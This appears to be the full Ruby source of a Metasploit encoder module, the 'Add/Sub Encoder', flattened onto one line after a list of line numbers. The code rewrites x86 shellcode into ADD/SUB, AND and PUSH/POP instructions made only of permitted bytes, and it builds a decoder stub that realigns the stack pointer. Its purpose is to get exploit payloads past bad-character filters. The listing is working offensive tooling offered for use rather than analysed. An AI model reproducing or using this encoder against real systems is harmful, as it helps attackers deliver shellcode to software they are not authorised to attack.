1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
| class MetasploitModule < Msf::Encoder Rank = ManualRanking
def initialize super( 'Name' => 'Add/Sub Encoder', 'Description' => %q{ Encodes payload with add or sub instructions. This idea came from (offensive-security) muts' hp nnm 7.5.1 exploit. }, 'Author' => 'Melih Sarica <ms[at]sevure.com>', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Decoder' => { 'BlockSize' => 4 }) end
def add_or_sub(avchars) add = [0x05, 0x50, 0x58, 0x25, 0x54, 0x5C] sub = [0x2D, 0x50, 0x58, 0x25, 0x54, 0x5C] return 1 if add.all?{|ch|avchars.include?ch.chr} return 2 if sub.all?{|ch|avchars.include?ch.chr} return 0 end
def write_inst(inst, mcode) @data << inst if mcode != 0 for i in 0...4 t = mcode & 0x000000FF; @data << t mcode = mcode >> 8; end end end
def rand_with_av_chars() t2 = 0 for i in 0...4 c = @avchars[rand(@avchars.size)].ord.to_i() t2 = t2 <<8 t2 += c end return t2 end
def check_non_av_chars(target) for i in 0...4 t = target & 0x000000FF; return true if not @avchars.include?t.chr target = target >> 8; end return false end
def encode_inst(target) begin a = rand_with_av_chars() b = rand_with_av_chars() c = target - a - b if @set == 1 c = 0 - target - a - b if @set == 2 c = c%(0xFFFFFFFF+1) end while check_non_av_chars(c) == true write_inst(@inst["opcode"], a) write_inst(@inst["opcode"], b) write_inst(@inst["opcode"], c) end
def encode_shellcode(target, z1, z2) write_inst(@inst["and"], z1); write_inst(@inst["and"], z2); encode_inst(target); write_inst(@inst["push"], 0); end
def decoder_stub(state) buf = "" shellcode = state.buf.split(//) while shellcode.size>0 buf << shellcode.pop(4).join end state.buf = buf @data = "" @avchars = "" for i in 0..255 @avchars = @avchars + i.chr.to_s if not state.badchars.include?i.chr.to_s end offset = (datastore['BufferOffset'] || 0).to_i @inst = {} @set = add_or_sub(@avchars) if @set == 0 then raise EncodingError, "Bad character list includes essential characters." exit elsif @set == 1 then @inst["opcode"] = 0x05 else @inst["opcode"] = 0x2d end @inst["push"] = 0x50 @inst["pop"] = 0x58 @inst["and"] = 0x25 @inst["push_esp"] = 0x54 @inst["pop_esp"] = 0x5c if state.buf.size%4 != 0 then raise EncodingError, "Shellcode size must be divisible by 4, try nop padding." exit end write_inst(@inst["push_esp"], 0) write_inst(@inst["pop"], 0) encode_inst(offset) write_inst(@inst["push"], 0) write_inst(@inst["pop_esp"], 0) begin @z1 = rand_with_av_chars() @z2 = rand_with_av_chars() end while @z1&@z2 != 0 decoder = @data return decoder end
def encode_block(state, block) @data = "" target = block.split(//) return if target.size<4 t = 0 for i in 0..3 t1 = target[3-i][0].ord.to_i t = t<<8 t = t + t1 end encode_shellcode(t, @z1, @z2); encoded = @data return encoded end end
|